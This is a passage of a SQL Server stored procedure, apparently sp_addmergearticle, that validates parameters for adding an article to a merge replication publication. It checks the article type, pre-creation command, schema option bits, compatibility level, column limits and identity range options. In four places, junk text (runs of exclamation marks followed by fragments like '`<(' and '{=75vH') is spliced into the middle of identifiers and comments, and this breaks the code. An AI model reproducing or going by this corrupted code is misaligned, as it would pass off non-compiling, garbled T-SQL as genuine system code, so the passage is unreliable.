    @status                 nvarchar(10) = 'unsynced',          /* unsynced, active */
    @pre_creation_cmd       nvarchar(10) = 'drop',              /* 'none', 'drop', 'delete', 'truncate' */
    @creation_script        nvarchar(255)= NULL,                /* article schema script */
    @schema_option          varbinary(8)   = NULL,              /* article schema creation options */
    @subset_filterclause    nvarchar(1000) = '',                /* filter clause */
    @article_resolver       nvarchar(255)= NULL,                /* custom resolver for article */
    @resolver_info          nvarchar(517) = NULL,               /* custom resolver info */
    @source_owner           sysname = NULL,
    @destination_owner      sysname = NULL,
    @vertical_partition     nvarchar(5) = 'FALSE',             /* vertical partitioning or not */
    @auto_identity_range    nvarchar(5) = NULL,                /* this parameter is deprecated. use @identityrangemanagementoption */
    @pub_identity_range     bigint    = NULL,
    @identity_range         bigint = NULL,
    @threshold              int = NULL,
    @verify_resolver_signature     int = 1,                    /* 0=do not verify signature, 1=verify that signature is from trusted source, more values may be added later */
    @destination_object            sysname = @source_object,
    @allow_interactive_resolver    nvarchar(5) = 'false',        /* whether article allows interactive resolution or not */
    @fast_multicol_updateproc      nvarchar(5) = 'true',        /* whether update proc should update multiple columns in one update statement or not. if 0, then separate update issued for each column changed. */
    @check_permissions         int = 0, /* bitmap where 0x00 for nochecks, 0x01 for insert check, 0x2 for update check, 0x4 for delete check */
    @force_invalidate_snapshot bit = 0, /* Force invalidate existing snapshot */
    @published_in_tran_pub     nvarchar(5) = 'false', /* Indicates that this article could be published in a transactional publication as well */
    @force_reinit_subscription bit = 0, /* Force reinit subscription */
    @logical_record_level_conflict_detection nvarchar(5) = 'false',
    @logical_record_level_conflict_resolution nvarchar(5) = 'false',
    @partition_options tinyint = 0, -- 0, 1, 2 or 3 meaning none, no out of partition dml, partition based and subscription based
    @processing_order int = 0,
    @subscriber_upload_options tinyint = 0, -- possible values are 0, 1, and 2 meaning 'allow uploads', 'disables uplods', 'disable uploads and prohibit subscriber changes'
    @identityrangemanagementoption nvarchar(10) = NULL, -- NONE, MANUAL, AUTO
    @delete_tracking    nvarchar(5) = 'true',    --'true' = replicate deletes as usual.  false'= do not track deletes in triggers..
    @compensate_for_errors    nvarchar(5) = 'false',
    @stream_blob_columns nvarchar(5) = 'false'    -- 'true'= use blob optimization, 'false' = disable blob optimization.
    AS

    set nocount on

    declare @max_range              numeric(38,0)
    declare @min_range              numeric(38,0)
    declare @max_used               numeric(38,0)
    declare @ident_incr             numeric(38,0)
    declare @publisher              sysname
    declare @publisher_db           sysname
    declare @already_published      bit
    declare @identity_so_far        bigint
    declare @ver_partition          int
    declare @sp_resolver            sysname
    declare @num_columns            smallint
    declare @pubid                  uniqueidentifier                /* Publication id */
    declare @db                     sysname
    declare @identity_support       int
    declare @object                 sysname
    declare @owner                  sysname
    declare @retcode                int
    declare @objid                  int
    declare @sync_objid             int
    declare @index_objid            int
    declare @typeid                 smallint
    declare @replnick               binary(6)
    declare @merge_pub_object_bit   int
    declare @column_tracking_id     int
    declare @cmd                    nvarchar(2000)
    declare @statusid               tinyint --1: inactive; 2: active; 5:new_inactive 6:new_active
    declare @next_seed              bigint
    declare @precmdid               int
    declare @resolver_clsid         nvarchar(50)
    declare @resolver_clsid_old     nvarchar(50)
    declare @tablenick              int
    declare @artid                  uniqueidentifier
    declare @i                      int
    declare @max_identity           bigint
    declare @colname                sysname
    declare @idxname                sysname
    declare @indid                  int
    declare @pkkey                  sysname
    declare @dbname                 sysname
    declare @db_name                sysname
    declare @subset                 int
    declare @is_publisher           int
    declare @row_size               int
    declare @sp_name                sysname
    declare @sp_owner               sysname
    declare @qualified_name         nvarchar(517)
    declare @snapshot_ready         tinyint
    declare @sync_mode              tinyint
    declare @allow_interactive_bit  bit
    declare @fast_multicol_updateproc_bit bit
    declare @additive_resolver       sysname
    declare @average_resolver        sysname
    declare @mindate_resolver        sysname
    declare @needs_pickup            bit
    declare @maxdate_resolver        sysname
    declare @minimum_resolver        sysname
    declare @maximum_resolver        sysname
    declare @mergetxt_resolver       sysname
    declare @pricolumn_resolver      sysname
    declare @xtype                   int
    declare @xprec                   int
    declare @bump_to_80              bit
    declare @gen                     bigint
    declare @genguid                 uniqueidentifier
    declare @dt                      datetime
    declare @qualname                nvarchar(517)
    declare @compatlevel             int
    declare @allow_partition_realignment bit
    declare @logical_record_level_conflict_detection_id bit
    declare @logical_record_level_conflict_resolution_id bit
    declare @published_in_tran_pub_bit bit
    declare @allow_anonymous bit
    declare @compensateforerrors bit
    declare @deletetracking bit
    declare @reinit_subscriptions bit
    declare @article_has_dynamic_filters bit
    declare @publication_has_dynamic_filters bit
    declare @REPOLEVersion_80SP3 int
    declare @stream_blob_columns_bit bit
    declare @missing_col_count       int
    declare @missing_cols            varbinary(128)
    declare @pubname_lessthan90compat sysname
    declare @preserve_rowguidcol bit
    declare @automatic_reinitialization_policy bit
    declare @use_partition_groups smallint
    declare @pub_number smallint
    declare @functions_in_subset_filter nvarchar(500)
    declare @dynamic_filters_function_list nvarchar(500)
    declare @got_merge_admin_applock bit
            	,@obj_name sysname
    declare @filestream_col_published int
    declare @has_filestream int
    declare @fFileTable bit

    select @got_merge_admin_applock = 0
    select @filestream_col_published = 0
    select @has_filestream = 0

    -- Security Check
    exec @retcode= sys.sp_MSrep!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
{=75vHlcheck_publish
    if @@error <> 0 or @retcode <> 0 return (1)

    /* make sure current database is enabled for merge replication */
    exec @retcode=sys.sp_MSCheckmergereplication
    if @@ERROR<>0 or @retcode<>0
        return (1)

    /*
    ** Initializations 
    */
    set @REPOLEVersion_80SP3= 60
    select @is_publisher = 0
    select @needs_pickup = 0
    select @bump_to_80 = 0
    select @already_published = 0
    select @publisher = publishingservername()
    select @publisher_db = db_name()
    select @max_identity    = NULL
    select @next_seed        = NULL
    select @statusid        = 0
    select @resolver_clsid    = NULL
    select @subset            = 1        /* Const: publication type 'subset' */
    select @merge_pub_object_bit    = 128
    select @db_name = db_name()
    select @additive_resolver   = formatmessage(21701)
    select @average_resolver    = formatmessage(21702)
    select @mindate_resolver    = formatmessage(21703)
    select @maxdate_resolver    = formatmessage(21704)
    select @minimum_resolver    = formatmessage(21706)
    select @mergetxt_resolver   = formatmessage(21707)
    select @maximum_resolver    = formatmessage(21708)
    select @pricolumn_resolver  = formatmessage(21709)
    select @sp_resolver         = formatmessage(21712)
    select @reinit_subscriptions = 0
    select @article_has_dynamic_filters = 0
    select @publication_has_dynamic_filters = 0
    select @pubname_lessthan90compat = NULL

    if @subscriber_upload_options not in (0, 1, 2)
    begin
        raiserror (22542, 16, -1)
        return (1)
    end

    if 'false' = lower(@compensate_for_errors collate SQL_Latin1_General_CP1_CS_AS)
    begin
        set @compensateforerrors= 0
    end
    else if 'true' = lower(@compensate_for_errors collate SQL_Latin1_General_CP1_CS_AS)
    begin
        set @compensateforerrors= 1
    end
    else
    begin
        raiserror (14148, 16, -1, '@compensate_for_errors')
        return (1)
    end

    if 'false' = lower(@delete_tracking collate SQL_Latin1_General_CP1_CS_AS)
    begin
        set @deletetracking= 0
    end
    else if 'true' = lower(@delete_tracking collate SQL_Latin1_General_CP1_CS_AS)
    begin
        set @deletetracking= 1
    end
    else
    begin
        raiserror (14148, 16, -1, '@delete_tracking')
        return (1)
    end

    if 'false' = lower(@stream_blob_columns collate SQL_Latin1_General_CP1_CS_AS)
    begin
        set @stream_blob_columns_bit= 0
    end
    else if 'true' = lower(@stream_blob_columns collate SQL_Latin1_General_CP1_CS_AS)
    begin
        set @stream_blob_columns_bit= 1
    end
    else
    begin
        raiserror (14148, 16, -1, '@stream_blob_columns')
        return (1)
    end

    if @source_owner is NULL
    begin
        select @source_owner = SCHEMA_NAME(schema_id) from sys.objects where object_id = object_id(QUOTENAME(@source_object))
        if @source_owner is NULL  
        begin
            raiserror (14027, 11, -1, @source_object)
            return (1)
        end
    end

    select @qualified_name = QUOTENAME(@source_owner) + '.' + QUOTENAME(@source_object)

    /*
    **    Get the id of the @qualified_name
    */
    select @objid = OBJECT_ID(@qualified_name)
    if @objid is NULL
    begin
        raiserror (14027, 11, -1, @qualified_name)
        return (1)
    end

    -- check if the object is marked as ms shipped. If so it cannot be published
    if exists (select 1 from sys.objects where object_id = @objid and is_ms_shipped=1)
    begin
        raiserror (20696, 16, -1, @qualified_name)
        return (1)
    end
    
    if @destination_owner is NULL
        select @destination_owner='dbo'

    /*
    ** Pad out the specified schema option to the left
    */
    select @schema_option = fn_replprepadbinary8(@schema_option)

    /*
    ** Parameter Check: @publication.
    ** The @publication id cannot be NULL and must conform to the rules
    ** for identifiers.
    */     
        
    if @publication is NULL
    begin
        raiserror (14043, 16, -1, '@publication', 'sp_addmergearticle')
        return (1)
    end

    select @pubid = pubid, 
           @snapshot_ready = snapshot_ready, 
           @sync_mode=sync_mode, 
           @compatlevel=backward_comp_level, 
           @allow_anonymous = allow_anonymous,
           @use_partition_groups = use_partition_groups,
           @pub_number = publication_number,
           @publication_has_dynamic_filters = dynamic_filters,
           @allow_partition_realignment = allow_partition_realignment,
           @automatic_reinitialization_policy = automatic_reinitialization_policy,
           @dynamic_filters_function_list = dynamic_filters_function_list
    from dbo.sysmergepublications 
    where name = @publication and UPPER(publisher) collate database_default = UPPER(@publisher) collate database_default and publisher_db=@publisher_db
    if @pubid is NULL
    begin
        raiserror (20026, 16, -1, @publication)
        return (1)
    end

    if lower(@article)='all'
    begin
        raiserror(21401, 16, -1)
        return (1)
    end

    if  (0=@allow_partition_realignment and 0=@subscriber_upload_options)
    begin
        raiserror(22543, 16, -1)
        return (1)
    end

    -- Compensate for errors can be turned on only when upload options allows subscriber uploads.
    if 1=@compensateforerrors and (1=@subscriber_upload_options or 2=@subscriber_upload_options)
    begin
        raiserror(20022, 10, -1)
    end

    -- Parameter check @subset_filterclause
    if @subset_filterclause <> '' and @subset_filterclause is not NULL
    begin
        /* check the validity of subset_filterclause */
        exec ('declare @test int select @test=1 from ' + @qualified_name + ' where (1=2) and ' + @subset_filterclause)
        if @@ERROR<>0
        begin
            raiserror(21256, 16, -1, @subset_filterclause, @article)
            return (1)
        end

        -- check if the subsetfilter clause contains a computed column. To do this get a list of computed columns
        -- for the given article. Then check if the filter name is like the computed column
        declare @computedcolname sysname
        
        declare compted_columns_cursor cursor LOCAL FAST_FORWARD
        for (select name from sys.columns where object_id = @objid and is_computed=1)
        open compted_columns_cursor
        fetch compted_columns_cursor into @computedcolname
        while (@@fetch_status <> -1)
        begin
            
            if sys.fn_MSisfilteredcolumn(@subset_filterclause, @computedcolname, @objid) = 1 
            begin
                raiserror(20656, 16, -1)
                return (1)
            end
            fetch compted_columns_cursor into @computedcolname
        end
        close compted_columns_cursor
        deallocate compted_columns_cursor


        -- check if the subsetfilter clause contains any column of type that is not supported in
        --  a subset filter.

        if exists    (
                        select * from sys.columns 
                        where object_id = @objid and 
                            (
                            --(sys.fn_IsTypeBlob(sc.system_type_id,sc.max_length) = 1) -- Blob type text,ntext,xml
                              (system_type_id in (type_id('image'), type_id('text'), type_id('ntext'), type_id('xml')))
                              or max_length = -1
                              or system_type_id = 240    -- CLR-UDTs
                            )
                        and 
                        sys.fn_MSisfilteredcolumn(@subset_filterclause, name, @objid) = 1 
                    )
        begin
            raiserror(22518, 16, -1, @qualified_name)
            return (1)
        end

    end
      
    /*
    ** Parameter!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
{= "vH Check: @type
    ** If the article is added as a 'indexed view schema only' article,
    ** make sure that the source object is a schema-bound view.
    ** Conversely, a schema-bound view cannot be published as a 
    ** 'view schema only' article.
    */
    select @type = lower(@type collate SQL_Latin1_General_CP1_CS_AS)

    if @type = N'indexed view schema only' and objectproperty(object_id(@qualified_name), 'IsSchemaBound') <> 1
    begin
        raiserror (21277, 11, -1, @qualified_name)          
        return (1)      
    end
    else if @type = N'view schema only' and objectproperty(object_id(@qualified_name), 'IsSchemaBound') = 1
    begin
        raiserror (21275, 11, -1, @qualified_name)
        return (1)
    end

    /*
    ** Only publisher can call sp_addmergearticle
    */
    EXEC @retcode = sys.sp_MScheckatpublisher @pubid
    IF @@ERROR <> 0 or @retcode <>    0
    BEGIN
        RAISERROR (20073, 16, -1)
        RETURN (1)
    END
    
    /*
    ** Parameter Check: @article.
    ** Check to see that the @article is local, that it conforms
    ** to the rules for identifiers, and that it is a table, and not
    ** a view or another database object.
    */

    exec @retcode = sys.sp_MSreplcheck_name @article, '@article', 'sp_addmergearticle'
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
        

    /*
    ** Set the precmdid.  The default type is 'drop'.
    **
    **        @precmdid    pre_creation_cmd
    **        =========    ================
    **              0        none
    **              1        drop
    **              2        delete
    **              3        truncate
    */
    IF LOWER(@pre_creation_cmd collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('none', 'drop', 'delete', 'truncate')
    BEGIN
      RAISERROR (14061, 16, -1)
      RETURN (1)
    END

    /*
    ** Determine the integer value for the pre_creation_cmd.
    */
    IF LOWER(@pre_creation_cmd collate SQL_Latin1_General_CP1_CS_AS) = 'none'
       select @precmdid = 0
    ELSE IF LOWER(@pre_creation_cmd collate SQL_Latin1_General_CP1_CS_AS) = 'drop'
       select @precmdid = 1
    ELSE IF LOWER(@pre_creation_cmd collate SQL_Latin1_General_CP1_CS_AS) = 'delete'
       select @precmdid = 2
    ELSE IF LOWER(@pre_creation_cmd collate SQL_Latin1_General_CP1_CS_AS) = 'truncate'
       select @precmdid = 3


    /*
    ** Set the typeid.    The default type is table.    It can 
    ** be one of following.
    **
    **        @typeid        type
    **        =======        ========
    **           0xa        table
    **          0x20        proc schema only
    **          0x40        view schema only
    **          0x80        func schema only
    **          0x40        indexed view schema only (overloaded)
    **          0xA0        synonym schema only    
    */          

    IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('table', 'proc schema only', 'view schema only', 'func schema only', 'indexed view schema only', 'synonym schema only')
       BEGIN
            RAISERROR (21276, 16, -1)
            RETURN (1)
       END

    IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) = N'table'
    BEGIN
       SET @typeid = 0x0a
    END
    ELSE IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) = N'proc schema only'
    BEGIN
       SET @typeid = 0x20 
    END
    ELSE IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) = N'view schema only'
    BEGIN
       SET @typeid = 0x40
    END
    ELSE IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) = N'indexed view schema only'
    BEGIN
       SET @typeid = 0x40
    END
    ELSE IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) = N'func schema only'
    BEGIN
       SET @typeid = 0x80
    END
    ELSE IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) = N'synonym schema only'
    BEGIN
       SET @typeid = 0xA0
    END


    select @sync_objid = OBJECT_ID(@qualified_name)
    if @sync_objid is NULL
        begin
            raiserror (14027, 11, -1, @qualified_name)
            return (1)
        end


    if @typeid in (0x20,0x40,0x80, 0xA0)
    begin
        if exists (select * from syscomments
                    where id = @sync_objid
                      and encrypted = 1)
        begin
            raiserror(21004, 16, -1, @source_object)
            return 1
        end
    end

    /*
    ** Parameter Check:     @article, @publication.
    ** Check if the article already exists in this publication.
    */

    IF EXISTS (SELECT *
                FROM dbo.sysmergeextendedarticlesview
                WHERE pubid = @pubid
                  AND name = @article)
        BEGIN
            raiserror (21292, 16, -1, @article)
            RETURN (1)
        END

    --if @compatlevel < 90 and @processing_order <> 0
    --begin
    --    raiserror(21585, 16, -1, @publication)
        --return 1
    --end
        
    /*
    ** At this point, all common parameter validations 
    ** for table and schema only articles have been 
    ** performed, so branch out here to handle schema
    ** only articles as a special case.
    */

    IF @typeid in (0x20, 0x40, 0x80, 0xA0)
    BEGIN
        IF @destination_object IS NULL OR @destination_object = N''
        BEGIN
            SELECT @destination_object = @source_object
        END

        IF @schema_option IS NULL
        BEGIN
            SELECT @schema_option = 0x0000000000000001
        END
        EXEC @retcode = sys.sp_MSaddmergeschemaarticle 
                @pubid = @pubid,
                @article = @article,
                @source_object = @source_object,
                @type = @typeid,
                @description = @description,
                @status = @status,
                @pre_creation_command = @precmdid,
                @creation_script = @creation_script,
                @source_owner = @source_owner,
                @destination_owner = @destination_owner,
                @schema_option = @schema_option,
                @destination_object = @destination_object,
                @qualified_name = @qualified_name,     
                @publication = @publication,
                @snapshot_ready = @snapshot_ready,
                @force_invalidate_snapshot = @force_invalidate_snapshot,
                @processing_order = @processing_order

       RETURN (@retcode)
    END

    /*
    ** Make sure that the table name specified is a table.
    */

    if OBJECT_ID(@qualified_name, 'U') is NULL
    begin
        raiserror (20074, 16, -1)
        return (1)
    end

    /*
    ** Don't allow filetables to be added as articles
    */
    SELECT @fFileTable = is_filetable from sys.tables where object_id = @objid
    If (@fFileTable = 1)
    BEGIN
        RAISERROR (33435, 16, -1, @qualified_name)
        return (1)
    END

    /*
        Refer to the Yukon_Merge_Feature_Reference_Tables.doc for
        the detailed schema_option table.
    */
    IF @schema_option IS NULL
    BEGIN
        IF @compatlevel < 90
        BEGIN
            IF @sync_mode = 0   -- native
            BEGIN
    	        SELECT @schema_option = 0x0000000030034FF1
            END
            ELSE                -- character (SSCE)
            BEGIN
    	        SELECT @schema_option = 0x0000000030034FF1
            END
        END
        ELSE    -- 90 compatlevel
        BEGIN
            IF @sync_mode = 0   -- native
            BEGIN
    	        SELECT @schema_option = 0x000000000C034FD1
            END
            ELSE                -- character (SSCE)
            BEGIN
    	        SELECT @schema_option = 0x0000000008034FF1
            END
        END
    END

    /*
       Verify that the schema option being set is compatible with
       publication compatibility level.
    */
    -- Since only the lower 32 bits of!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
{=":wvH @schema_option are 
    -- used, the following check is sufficient. Note that @schema_option is
    -- already padded out to the left at the beginning of this procedure.
    -- whenever anything here is changed also change sp_MSmap_subscriber_type
    declare @schema_option_lodword int
    declare @schema_option_hidword int
    declare @schema_option_xml_to_ntext int
    declare @schema_option_max_to_nonmax int
    declare @schema_option_create_schema int
    declare @schema_option_xml_indexes int
    declare @schema_option_katmaidatetime_to_string int
    declare @schema_option_hierarchyid_to_varbinarymax int
    declare @schema_option_largeUDT_to_varbinarymax int
    declare @schema_option_spatial_indexes int
    declare @schema_option_spatial_to_varbinarymax int
    declare @schema_option_udt_to_base_types int
    declare @schema_option_filtered_indexes int
    declare @schema_option_filestream_attribute int
    declare @schema_option_str sysname

    declare @schema_option_compression int
    select @schema_option_lodword = sys.fn_replgetbinary8lodword(@schema_option)
    select @schema_option_hidword = sys.fn_replgetbinary8hidword(@schema_option)
    select @schema_option_xml_to_ntext  = 0x10000000 -- this has to be on  for < 90RTM
    select @schema_option_max_to_nonmax = 0x20000000 -- this has to be on  for < 90RTM
    select @schema_option_create_schema = 0x08000000 -- this has to be off for < 90RTM
    select @schema_option_xml_indexes   = 0x04000000 -- this has to be off for < 90RTM
    select @schema_option_katmaidatetime_to_string = 0x00000002 

    select @schema_option_hierarchyid_to_varbinarymax = 0x00000020 -- this has to be on for < 100RTM    
    select @schema_option_largeUDT_to_varbinarymax = 0x00000010 -- this has to be on for < 100RTM    
    select @schema_option_spatial_indexes = 0x00000100 -- this has to be off for < 100RTM
    select @schema_option_spatial_to_varbinarymax = 0x00000080 -- this has to be on for < 100RTM
    select @schema_option_udt_to_base_types = 0x00000020
    select @schema_option_filtered_indexes = 0x00000040 -- this has to be off for < 100RTM    
    select @schema_option_filestream_attribute = 0x00000001  
    select @schema_option_compression   = 0x00000004 -- this has to be off for < 100RTM and SSCE
    select @schema_option_filtered_indexes = 0x00000040 -- this has to be off for < 100RTM    

    declare @schema_option_has_changed bit;
    select @schema_option_has_changed = 0;  

 
    /*
    ** If compatlevel is less than 100RTM then make sure the schema option to map down
    ** 100 datatypes to equivalent downlevel datatypes is set. 
    ** * Namely, map large UDT down to varbinary(max)
    ** * If spatial_indexes are set for replication, disable if compatlevel < 100
    ** * Map spatial types to varbinary(max)
    ** * Make sure the schema option to map down 100 datetime types to downlevel data types.
    ** * Disable compression if it is enabled
    ** * Map hierarchyid to varbinary(max)
    */
    if (@compatlevel < 100 and 
       ((@schema_option_hidword & @schema_option_largeUDT_to_varbinarymax = 0) or
       (@schema_option_hidword & @schema_option_compression <> 0) or
       (@schema_option_hidword & @schema_option_hierarchyid_to_varbinarymax = 0) or
       (@schema_option_hidword & @schema_option_spatial_to_varbinarymax = 0) or
       (@schema_option_hidword & @schema_option_spatial_indexes <> 0) or
       (@schema_option_hidword & @schema_option_filtered_indexes <> 0) or
       (@schema_option_hidword & @schema_option_katmaidatetime_to_string = 0)))
    begin
        select @schema_option_hidword = @schema_option_hidword | @schema_option_largeUDT_to_varbinarymax
        select @schema_option_hidword = @schema_option_hidword & ~(@schema_option_compression)
        select @schema_option_hidword = @schema_option_hidword | @schema_option_hierarchyid_to_varbinarymax
        select @schema_option_hidword = @schema_option_hidword | @schema_option_spatial_to_varbinarymax
        select @schema_option_hidword = @schema_option_hidword & ~(@schema_option_spatial_indexes)
        select @schema_option_hidword = @schema_option_hidword & ~(@schema_option_filtered_indexes)
        select @schema_option_hidword = @schema_option_hidword | @schema_option_katmaidatetime_to_string

        select @schema_option = sys.fn_replcombinehilodwordintobinary8(@schema_option_hidword, @schema_option_lodword)
        select @schema_option_str = sys.fn_varbintohexstr(@schema_option)
        select @schema_option_has_changed = 1;
    end


    /*
    ** For hierarchy we will map it to varbinarymax for 100 RTM compatibility level in character sync mode (for SSCE subscriber).
    ** Turn off the data compression for SSCE subscriber
    */
    if(@compatlevel = 100 and
	 @sync_mode <>0 and
	((@schema_option_hidword & @schema_option_hierarchyid_to_varbinarymax = 0) or
	(@schema_option_hidword & @schema_option_compression <> 0) ))
    begin
    	select @schema_option_hidword = @schema_option_hidword | @schema_option_hierarchyid_to_varbinarymax
        select @schema_option_hidword = @schema_option_hidword & ~(@schema_option_compression)
        
        select @schema_option = sys.fn_replcombinehilodwordintobinary8(@schema_option_hidword, @schema_option_lodword)        
        select @schema_option_str = sys.fn_varbintohexstr(@schema_option)
        select @schema_option_has_changed = 1;    	      
    end
    

    /*
    ** If a spatial type is being mapped to non spatial type on the subscriber,
    ** ensure that the spatial index schema option is disabled.
    */
    if (@schema_option_hidword & @schema_option_spatial_indexes <> 0 and
       ((@schema_option_hidword & @schema_option_spatial_to_varbinarymax <> 0) or
       (@schema_option_lodword & @schema_option_udt_to_base_types <> 0)))
    begin
        select @schema_option_hidword = @schema_option_hidword & ~(@schema_option_spatial_indexes)
        select @schema_option = sys.fn_replcombinehilodwordintobinary8(@schema_option_hidword, @schema_option_lodword)
        select @schema_option_str = sys.fn_varbintohexstr(@schema_option)
        select @schema_option_has_changed = 1;
    end    

    /*
    ** If compatlevel is less than 90RTM then make sure the schema option to map down
    ** 90 datatypes to equivalent downlevel datatypes is set.
    */
    if (@compatlevel < 90 and 
        (((@schema_option_lodword & (@schema_option_xml_to_ntext | @schema_option_max_to_nonmax)) <> 
        (@schema_option_xml_to_ntext | @schema_option_max_to_nonmax)) or
        ((@schema_option_lodword & (@schema_option_create_schema | @schema_option_xml_indexes)) <> 0)))
    begin
        select @schema_option_lodword = @schema_option_lodword | @schema_option_xml_to_ntext | @schema_option_max_to_nonmax
        select @schema_option_lodword = @schema_option_lodword & ~(@schema_option_create_schema | @schema_option_xml_indexes)
        select @schema_option = sys.fn_replcombinehilodwordintobinary8(@schema_option_hidword, @schema_option_lodword)
        select @schema_option_str = sys.fn_varbintohexstr(@schema_option)
        select @schema_option_has_changed = 1;
    end

   
    /*      
    ** If we changed what the user originally input, output a message telling them what
    ** the new schema_option value is.
    */
    if @schema_option_has_changed = 1    
    begin
        RAISERROR (20732, 10, -1, @schema_option_str)
    end

    /*
    ** If filestream attribute is enabled, enable stream_blob_columns since
    ** this will lead to lower memory utilization during sync.
    */
    if @schema_option_hidword & @schema_option_filestream_attribute <> 0 and
       @stream_blob_columns_bit = 0
    begin
        RAISERROR (20737, 10, -1)
        select @stream_blob_columns_bit = 1
    end

    /*
    ** If scheme option contains collation or extended properties, 
    ** bump up t!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
{=$BvHhe compatibility-level
    */      
    declare @xprop_schema_option int
    declare @collation_schema_option int
    select @xprop_schema_option = 0x00002000
    select @collation_schema_option = 0x00001000
    if (@schema_option_lodword & @collation_schema_option) <> 0 and @compatlevel < 40
    begin     
        raiserror(21389, 10, -1, @publication)
        select @bump_to_80 = 1
    end
    if (@schema_option_lodword & @xprop_schema_option) <> 0 and @compatlevel < 40
    begin    
        raiserror(21390, 10, -1, @publication)
        select @bump_to_80 = 1
    end

    /*
    ** Merge table articles does not really support destination object. It has the same value as source
    */
    if @destination_object <> @source_object
    begin
        raiserror(20638, 10, -1)
    end

    select @destination_object = @source_object

    /*
    select @row_size=sum(max_length) from sys.columns where object_id=OBJECT_ID(@qualified_name)
    if @row_size>6000 
        begin
            RAISERROR (21062, 16, -1, @qualified_name)    
            -- RETURN (1)
        end
    */
    IF LOWER(@vertical_partition collate SQL_Latin1_General_CP1_CS_AS) = 'false'
    begin
        select @ver_partition = 0
    end
    else
    begin
        select @ver_partition = 1
    end
    select @num_columns=count(*) from sys.columns where object_id = object_id(@qualified_name)

    -- After Yukon beta 1, this will be changed to 1024.
    if @num_columns > 246 and LOWER(@vertical_partition collate SQL_Latin1_General_CP1_CS_AS) = 'false'
    begin
        RAISERROR (20068, 16, -1, @qualified_name, 246)
        RETURN (1)
    end

    -- Colvs can only handle 246 columns so we can not allow more than 246 columns to exist on a table
    -- if column tracking is being used. The reason is that we track all the columns even when vertical
    -- partitioning is used and only some of the columns are published.
    if @num_columns > 246 and LOWER(@column_tracking collate SQL_Latin1_General_CP1_CS_AS) = 'true' 
    begin
        RAISERROR (25020, 16, -1, @qualified_name, 246)
        RETURN (1)
    end

    -- If the input param @subscriber_upload_options contradicts to the property of an already existing
    -- article for the same base table, we raise an error.
    if exists (select top 1 artid from dbo.sysmergearticles 
                where objid = @objid and upload_options <> @subscriber_upload_options)
    begin
        raiserror (20053, 11, -1, 'subscriber_upload_options', @qualified_name)
        return (1)
    end

    -- If the input param @delete_tracking contradicts with the property of an already existing
    -- article for the same base table, we raise an error.
    if exists (select top 1 artid from dbo.sysmergearticles 
                    where objid = @objid and delete_tracking <> @deletetracking)
    begin
        raiserror (20648, 16, -1, @qualified_name)
        return (1)
    end

    -- If the input param @stream_blob_columns contradicts with the property of an already existing
    -- article for the same base table, we raise an error.
    if exists (select top 1 artid from dbo.sysmergearticles 
                    where objid = @objid and stream_blob_columns <> @stream_blob_columns_bit)
    begin
        raiserror (20053, 11, -1, 'stream_blob_columns', @qualified_name)
        return (1)
    end

    -- If the input param @compensate_for_errors contradicts to the property of an already existing
    -- article for the same base table, we raise an error.
    if exists (select top 1 artid from dbo.sysmergearticles 
                    where objid = @objid and compensate_for_errors <> @compensateforerrors)
    begin
        raiserror (20053, 11, -1, 'compensate_for_errors', @qualified_name)
        return (1)
    end

    -- Subscribers below 80SP3 build 858 will ignore the @compensate_for_errors=false setting.
    -- Raise a warning.
    if @compensateforerrors = 0 and
       @compatlevel <= @REPOLEVersion_80SP3
    begin
        raiserror(20004, 10, -1, @publication, 'compensate_for_errors', '8.00.0858')
    end

    -- articles with >=246 columns can only be added to Yukon-compatible publications
    -- if the article is about to be republished, there might already be missing/excluded columns
    --
    if @compatlevel <= 90    -- After Yukon beta 1, we will change this to " < 90".
    begin
        declare @cCols int -- number of columns in the table
        declare @cMissing int -- number of missing cols
        
        select @cCols= count(*) from sys.columns where object_id = @objid and is_computed <> 1 and system_type_id <> type_id('timestamp')
        set @cMissing= coalesce((select max(missing_col_count) from dbo.sysmergearticles where objid = @objid), 0)
        if ((@cCols + @cMissing) > 246) and LOWER(@vertical_partition collate SQL_Latin1_General_CP1_CS_AS) = 'false'
        begin
            --raiserror(21522,16,1,@article,@publication, 246)
            RAISERROR (20068, 16, -1, @qualified_name, 246)
            return (1)
        end
    end
    
    /*
    ** If current publication contains a non-sync subscription, all articles to be added in it
    ** has to contain a rowguidcol.
    */
    if exists (select * from dbo.sysmergesubscriptions where pubid = @pubid and sync_type = 2)
    begin
        if not exists (select * from sys.columns
            where object_id=@objid and is_rowguidcol = 1)
            begin
                raiserror(20086 , 16, -1, @publication)
                return (1)
            end
    end

    --
    -- Parameter Check:  @identityrangemanagementoption.
    -- We will override the value specified in @auto_identity_range if
    -- @identityrangemanagementoption is not null
    --
    if (@identityrangemanagementoption is NULL)
    begin
        --
        -- @identityrangemanagementoption is null
        -- Check @auto_identity_range
        --
        IF @auto_identity_range IS NULL 
        begin
            --
            -- user did not specify any explicit values for identity management
            --
            select @identityrangemanagementoption = 'none'
        end
        else if LOWER(@auto_identity_range collate SQL_Latin1_General_CP1_CS_AS) IN ('true', 'false')
        begin
            -- map the value of @auto_identity_range to @identityrangemanagementoption
            select @identityrangemanagementoption = case 
                when LOWER(@auto_identity_range collate SQL_Latin1_General_CP1_CS_AS) = N'true' 
                then N'auto' else N'none' end
            -- Issue warning on deprecation of this option
            raiserror (21767, 10, 1, '@auto_identity_range', '@identityrangemanagementoption')
        end
        else
        BEGIN
            -- invalid value for @auto_identity_range
            RAISERROR (14148, 16, -1, '@auto_identity_range')
            return (1)
        END
    end
    else
    begin
        --
        -- validate @identityrangemanagementoption
        --
        if LOWER(@identityrangemanagementoption collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('none', 'manual', 'auto')
        BEGIN
            -- invalid value for @identityrangemanagementoption
            RAISERROR (20644, 16, -1, @identityrangemanagementoption)
            return (1)
        END
